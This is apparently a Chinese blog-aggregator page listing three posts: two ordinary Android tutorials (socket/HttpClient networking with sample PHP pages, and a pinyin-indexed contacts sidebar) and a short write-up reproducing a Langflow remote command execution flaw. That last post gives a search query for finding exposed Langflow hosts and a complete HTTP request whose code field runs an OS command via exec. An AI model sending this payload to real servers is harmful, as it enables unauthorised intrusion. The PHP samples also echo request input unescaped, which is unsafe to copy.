首页 文章 精选 留言 我的

精选列表

搜索[远程通讯],共10000篇文章
优秀的个人博客,低调大师

Android的三种网络通讯方式详解

1.标准Java接口 java.net.*提供与联网有关的类,包括流、数据包套接字(socket)、Internet协议、常见Http处理等。比如:创建URL,以及URLConnection/HttpURLConnection对象、设置链接参数、链接到服务器、向服务器写数据、从服务器读取数据等通信。这些在Java网络编程中均有涉及,我们看一个简单的socket编程,实现服务器回发客户端信息。 下面用个例子来说明: A、客户端: 新建Android项目工程:SocketForAndroid(这个随意起名字了吧,我是以这个建立的!) 下面是main_activity.xml的代码: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/hello" /> <EditText android:id="@+id/message" android:layout_width="match_parent" android:layout_height="wrap_content" android:hint="@string/hint" /> <Button android:id="@+id/send" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/send" /> </LinearLayout> MainActivity.java的代码入下: package com.yaowen.socketforandroid; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.view.View; import android.widget.Button; import android.widget.EditText; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.net.Socket; public class MainActivity extends AppCompatActivity { private EditText message; private Button send; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //初始化两个UI控件 message = (EditText) findViewById(R.id.message); send = (Button) findViewById(R.id.send); //设置发送按钮的点击事件响应 send.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Socket socket = null; //获取message输入框里的输入的内容 String msg = message.getText().toString() + "\r\n"; try { //这里必须是192.168.3.200,不可以是localhost或者127.0.0.1 socket = new Socket("192.168.3.200", 18888); PrintWriter out = new PrintWriter( new BufferedWriter( new OutputStreamWriter( socket.getOutputStream() ) ), true); //发送消息 out.println(msg); //接收数据 BufferedReader in = new BufferedReader( new InputStreamReader( socket.getInputStream() ) ); //读取接收的数据 String msg_in = in.readLine(); if (null != msg_in) { message.setText(msg_in); System.out.println(msg_in); } else { message.setText("接收的数据有误!"); } //关闭各种流 out.close(); in.close(); } catch (IOException e) { e.printStackTrace(); } finally { try { if (null != socket) { //socket不为空时,最后记得要把socket关闭 socket.close(); } } catch (IOException e) { e.printStackTrace(); } } } }); } } 最后别忘记添加访问网络权限: <uses-permission android:name="android.permission.INTERNET" /> B、服务端: package service; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; public class ServerAndroid implements Runnable { @Override public void run() { Socket socket = null; try { ServerSocket server = new ServerSocket(18888); // 循环监听客户端链接请求 while (true) { System.out.println("start..."); // 接收请求 socket = server.accept(); System.out.println("accept..."); // 接收客户端消息 BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream())); String message = in.readLine(); System.out.println(message); // 发送消息,向客户端 PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true); out.println("Server:" + message); // 关闭流 in.close(); out.close(); } } catch (IOException e) { e.printStackTrace(); } finally { if (null != socket) { try { socket.close(); } catch (IOException e) { e.printStackTrace(); } } } } // 启动服务器 public static void main(String[] args) { Thread server = new Thread(new ServerAndroid()); server.start(); } } C、启动服务器,控制台会打印出“start...”字符串! D、运行Android项目文件,如下图: 在输入框里输入如下字符串,点发送按钮: 服务器收到客户端发来的消息并打印到控制台: 2、Apache接口 对于大部分应用程序而言JDK本身提供的网络功能已远远不够,这时就需要Android提供的Apache HttpClient了。它是一个开源项目,功能更加完善,为客户端的Http编程提供高效、最新、功能丰富的工具包支持。下面我们以一个简单例子来看看如何使用HttpClient在Android客户端访问Web。首先,要在你的机器上搭建一个web应用test,有两个很简单的PHP文件:hello_get.php和hello_post.php!内容如下: hello_get.php的代码如下: <html> <body> Welcome <?php echo $_GET["name"]; ?><br> You connected this page on : <?php echo $_GET["get"]; ?> </body> </html> hello_post.php的代码如下: <html> <body> Welcome <?php echo $_POST["name"]; ?><br> You connected this page on : <?php echo $_POST["post"]; ?> </body> </html> 在原来的Android项目里新建一个Apache活动类:Apache.java,代码如下: package com.yaowen.socketforandroid; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.view.View; import android.widget.Button; import android.widget.TextView; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import java.util.ArrayList; import java.util.List; /** * Created by YAOWEN on 2015/11/10. */ public class ApacheActivity extends AppCompatActivity implements View.OnClickListener { private TextView textView; private Button get1, post1; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.apache); textView = (TextView) findViewById(R.id.textView); get1 = (Button) findViewById(R.id.get); post1 = (Button) findViewById(R.id.post); get1.setOnClickListener(this); post1.setOnClickListener(this); } @Override public void onClick(View v) { if (v.getId() == R.id.get) { //注意:此处ip不能用127.0.0.1或localhost,Android模拟器已将它自己作为了localhost String url = "http://192.168.3.200/test/hello_get.php?name=yaowen&get=GET"; textView.setText(get(url)); } if (v.getId() == R.id.post) { String url="http://192.168.3.200/test/hello_post.php"; textView.setText(post(url)); } } /** * 以post方式发送请求,访问web * * @param url web地址 * @return 响应数据 */ private String post(String url) { BufferedReader reader = null; StringBuffer sb = null; String result = ""; HttpClient client = new DefaultHttpClient(); HttpPost requset = new HttpPost(url); //保存要传递的参数 List<NameValuePair> params = new ArrayList<NameValuePair>(); //添加参数 params.add(new BasicNameValuePair("name", "yaowen")); params.add(new BasicNameValuePair("post","POST")); try { HttpEntity entity = new UrlEncodedFormEntity(params, "utf-8"); requset.setEntity(entity); HttpResponse response = client.execute(requset); if (response.getStatusLine().getStatusCode() == 200) { System.out.println("post success"); reader = new BufferedReader(new InputStreamReader(response.getEntity().getContent())); sb = new StringBuffer(); String line = ""; String NL = System.getProperty("line.separator"); while ((line = reader.readLine()) != null) { sb.append(line); } } } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (null != reader) { try { reader.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != sb) { result = sb.toString(); } } return result; } /** * 以get方式发送请求,访问web * * @param url web地址 * @return 响应数据 */ private static String get(String url) { BufferedReader bufferedReader = null; StringBuffer sb = null; String result = ""; HttpClient client = new DefaultHttpClient(); HttpGet request = new HttpGet(url); //发送请求,得到响应 try { HttpResponse response = client.execute(request); //请求成功 if (response.getStatusLine().getStatusCode() == 200) { bufferedReader = new BufferedReader( new InputStreamReader( response.getEntity() .getContent() ) ); sb = new StringBuffer(); String line = ""; String NL = System.getProperty("line.separator"); while ((line = bufferedReader.readLine()) != null) { sb.append(line); } } } catch (IOException e) { e.printStackTrace(); } finally { if (null != bufferedReader) { try { bufferedReader.close(); //bufferedReader=null; } catch (IOException e) { e.printStackTrace(); } } if (null != sb) { result = sb.toString(); } } return result; } } 新建一个apache.XML文件,如下: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical"> <TextView android:id="@+id/textView" android:layout_width="fill_parent" android:layout_height="wrap_content" android:gravity="center" android:text="通过按钮选择不同方式访问网页" /> <Button android:id="@+id/get" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="get" /> <Button android:id="@+id/post" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="post" /> </LinearLayout> 结果运行如下: ###3.android.net编程: 常常使用此包下的类进行Android特有的网络编程,如:访问WiFi,访问Android联网信息,邮件等功能。 这里就不详细做例子了,因为这个接触比较多~~~。 文章转载自 开源中国社区[https://www.oschina.net]

优秀的个人博客,低调大师

Android 仿微信通讯录列表侧边栏

先看效果图 这里写图片描述 这是比较常见的效果了吧 列表根据首字符的拼音字母来排序,且可以通过侧边栏的字母索引来进行定位 实现这样一个效果并不难,只要自定义一个索引View,然后引入一个可以对汉字进行拼音解析的jar包——pinyin4j-2.5.0即可 首先,先来定义侧边栏控件View,只要直接画出来即可 字母选中项会变为红色,且滑动时背景会变色,此时SideBar并不包含居中的提示文本 public class SideBar extends View { private Paint paint = new Paint(); private int choose = -1; private boolean showBackground; public static String[] letters = {"#", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}; private OnChooseLetterChangedListener onChooseLetterChangedListener; public SideBar(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } public SideBar(Context context, AttributeSet attrs) { super(context, attrs); } public SideBar(Context context) { super(context); } protected void onDraw(Canvas canvas) { super.onDraw(canvas); if (showBackground) { canvas.drawColor(Color.parseColor("#D9D9D9")); } int height = getHeight(); int width = getWidth(); //平均每个字母占的高度 int singleHeight = height / letters.length; for (int i = 0; i < letters.length; i++) { paint.setColor(Color.BLACK); paint.setAntiAlias(true); paint.setTextSize(25); if (i == choose) { paint.setColor(Color.parseColor("#FF2828")); paint.setFakeBoldText(true); } float x = width / 2 - paint.measureText(letters[i]) / 2; float y = singleHeight * i + singleHeight; canvas.drawText(letters[i], x, y, paint); paint.reset(); } } @Override public boolean dispatchTouchEvent(MotionEvent event) { int action = event.getAction(); float y = event.getY(); int oldChoose = choose; int c = (int) (y / getHeight() * letters.length); switch (action) { case MotionEvent.ACTION_DOWN: showBackground = true; if (oldChoose != c && onChooseLetterChangedListener != null) { if (c > -1 && c < letters.length) { onChooseLetterChangedListener.onChooseLetter(letters[c]); choose = c; invalidate(); } } break; case MotionEvent.ACTION_MOVE: if (oldChoose != c && onChooseLetterChangedListener != null) { if (c > -1 && c < letters.length) { onChooseLetterChangedListener.onChooseLetter(letters[c]); choose = c; invalidate(); } } break; case MotionEvent.ACTION_UP: showBackground = false; choose = -1; if (onChooseLetterChangedListener != null) { onChooseLetterChangedListener.onNoChooseLetter(); } invalidate(); break; } return true; } @Override public boolean onTouchEvent(MotionEvent event) { return super.onTouchEvent(event); } public void setOnTouchingLetterChangedListener(OnChooseLetterChangedListener onChooseLetterChangedListener) { this.onChooseLetterChangedListener = onChooseLetterChangedListener; } public interface OnChooseLetterChangedListener { void onChooseLetter(String s); void onNoChooseLetter(); } } SideBar只是画出了侧边栏索引条而已,不包含居中的提示文本,这个在另一个布局添加即可 public class HintSideBar extends RelativeLayout implements SideBar.OnChooseLetterChangedListener { private TextView tv_hint; private SideBar.OnChooseLetterChangedListener onChooseLetterChangedListener; public HintSideBar(Context context, AttributeSet attrs) { super(context, attrs); LayoutInflater.from(context).inflate(R.layout.view_hint_side_bar, this); initView(); } private void initView() { SideBar sideBar = (SideBar) findViewById(R.id.sideBar); tv_hint = (TextView) findViewById(R.id.tv_hint); sideBar.setOnTouchingLetterChangedListener(this); } @Override public void onChooseLetter(String s) { tv_hint.setText(s); tv_hint.setVisibility(VISIBLE); if (onChooseLetterChangedListener != null) { onChooseLetterChangedListener.onChooseLetter(s); } } @Override public void onNoChooseLetter() { tv_hint.setVisibility(INVISIBLE); if (onChooseLetterChangedListener != null) { onChooseLetterChangedListener.onNoChooseLetter(); } } public void setOnChooseLetterChangedListener(SideBar.OnChooseLetterChangedListener onChooseLetterChangedListener) { this.onChooseLetterChangedListener = onChooseLetterChangedListener; } } HintSideBar通过回调接口来更新居中TextView的文本内容和可见性 使用到的布局 <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <com.czy.demo.SideBar android:id="@+id/sideBar" android:layout_width="30dp" android:layout_height="match_parent" android:layout_alignParentRight="true" /> <TextView android:id="@+id/tv_hint" android:layout_width="70dp" android:layout_height="70dp" android:layout_centerInParent="true" android:background="#4b0e0e0e" android:gravity="center" android:textColor="#ffffff" android:textSize="30sp" android:visibility="invisible" /> </RelativeLayout> 此时就完成了索引View的绘制,不过定位功能还需要再通过回调接口来完成 引入jar包后,先来设定一个工具类,包含一个可以解析字符串的方法,返回值为首字符对应的拼音首字母或者为包含一个空格的char类型数据 public class Utils { /** * 如果字符串的首字符为汉字,则返回该汉字的拼音大写首字母 * 如果字符串的首字符为字母,也转化为大写字母返回 * 其他情况均返回' ' * * @param str 字符串 * @return 首字母 */ public static char getHeadChar(String str) { if (str != null && str.trim().length() != 0) { char[] strChar = str.toCharArray(); char headChar = strChar[0]; //如果是大写字母则直接返回 if (Character.isUpperCase(headChar)) { return headChar; } else if (Character.isLowerCase(headChar)) { return Character.toUpperCase(headChar); } // 汉语拼音格式输出类 HanyuPinyinOutputFormat hanYuPinOutputFormat = new HanyuPinyinOutputFormat(); hanYuPinOutputFormat.setCaseType(UPPERCASE); hanYuPinOutputFormat.setToneType(WITHOUT_TONE); if (String.valueOf(headChar).matches("[\\u4E00-\\u9FA5]+")) { try { String[] stringArray = PinyinHelper.toHanyuPinyinStringArray(headChar, hanYuPinOutputFormat); if (stringArray != null && stringArray[0] != null) { return stringArray[0].charAt(0); } } catch (BadHanyuPinyinOutputFormatCombination e) { return ' '; } } } return ' '; } } 然后再定义一个实体类,包含用户名,电话,用户名首字符的拼音首字母等三个属性 需要实现Comparable 接口,用于排序 public class User implements Comparable { private String userName; private String phone; private char headLetter; public User(String userName, String phone) { this.userName = userName; this.phone = phone; headLetter = Utils.getHeadChar(userName); } public String getUserName() { return userName; } public String getPhone() { return phone; } public char getHeadLetter() { return headLetter; } @Override public boolean equals(Object object) { if (this == object) { return true; } if (object == null || getClass() != object.getClass()) { return false; } User that = (User) object; return getUserName().equals(that.getUserName()) && getPhone().equals(that.getPhone()); } @Override public int compareTo(Object object) { if (object instanceof User) { User that = (User) object; if (getHeadLetter() == ' ') { if (that.getHeadLetter() == ' ') { return 0; } return -1; } if (that.getHeadLetter() == ' ') { return 1; } else if (that.getHeadLetter() > getHeadLetter()) { return -1; } else if (that.getHeadLetter() == getHeadLetter()) { return 0; } return 1; } else { throw new ClassCastException(); } } } 主布局文件如下 <?xml version="1.0" encoding="utf-8"?> <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <android.support.v7.widget.RecyclerView android:id="@+id/rv_userList" android:layout_width="match_parent" android:layout_height="match_parent" /> <com.czy.demo.HintSideBar android:id="@+id/hintSideBar" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_gravity="right" /> </FrameLayout> 联系人列表使用的是RecyclerView,还需要定义一个Adapter public class UserAdapter extends RecyclerView.Adapter<UserAdapter.UserHolder> { private List<User> userList; private LayoutInflater inflater; public UserAdapter(Context context) { inflater = LayoutInflater.from(context); userList = new ArrayList<>(); } @Override public UserHolder onCreateViewHolder(ViewGroup parent, int viewType) { View view = inflater.inflate(R.layout.item_user, parent, false); return new UserHolder(view); } @Override public void onBindViewHolder(UserHolder holder, int position) { holder.tv_userName.setText(userList.get(position).getUserName()); holder.tv_phone.setText(userList.get(position).getPhone()); } public void setData(List<User> userList) { this.userList.clear(); this.userList = userList; } public int getFirstPositionByChar(char sign) { if (sign == '#') { return 0; } for (int i = 0; i < userList.size(); i++) { if (userList.get(i).getHeadLetter() == sign) { return i; } } return -1; } @Override public int getItemCount() { return userList.size(); } class UserHolder extends RecyclerView.ViewHolder { public TextView tv_userName; public TextView tv_phone; public UserHolder(View itemView) { super(itemView); tv_userName = (TextView) itemView.findViewById(R.id.tv_userName); tv_phone = (TextView) itemView.findViewById(R.id.tv_phone); } } } 以下方法用于获取联系人列表中第一个首字符为sign的item的位置 public int getFirstPositionByChar(char sign) 主Activity代码如下 public class MainActivity extends AppCompatActivity implements SideBar.OnChooseLetterChangedListener { private List<User> userList; private UserAdapter adapter; private RecyclerView rv_userList; private LinearLayoutManager manager; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); supportRequestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.activity_main); HintSideBar hintSideBar = (HintSideBar) findViewById(R.id.hintSideBar); rv_userList = (RecyclerView) findViewById(R.id.rv_userList); hintSideBar.setOnChooseLetterChangedListener(this); manager = new LinearLayoutManager(this, LinearLayoutManager.VERTICAL, false); rv_userList.setLayoutManager(manager); userList = new ArrayList<>(); adapter = new UserAdapter(this); initData(); adapter.setData(userList); rv_userList.setAdapter(adapter); } @Override public void onChooseLetter(String s) { int i = adapter.getFirstPositionByChar(s.charAt(0)); if (i == -1) { return; } manager.scrollToPositionWithOffset(i, 0); } @Override public void onNoChooseLetter() { } } initData()用于向Adapter填充数据 public void initData() { User user1 = new User("陈", "12345678"); User user2 = new User("赵", "12345678"); ... userList.add(user1); userList.add(user2); ... Collections.sort(userList); adapter.notifyDataSetChanged(); } 这样,整个效果就都完成了 代码我已上传到GitHub——HintSideBar

优秀的个人博客,低调大师

【漏洞复现】Langflow框架远程命令执行漏洞

资产收集 ``` 鹰图平台 web.title="Langflow" ``` ![](https://developer.qcloudimg.com/http-save/yehe-9694622/dc7412cbc4bc15b99a7b9a92d89ba387.png) 发送请求 ``` POST /api/v1/validate/code HTTP/1.1 Host: Content-Type: application/json Content-Length: 112 { "code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"id\"]))')\ndef foo():\n pass" } ``` 返回包 ![](https://developer.qcloudimg.com/http-save/yehe-9694622/da551dc21478d4c5944d966e06b8b786.png) 批量验证脚本

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册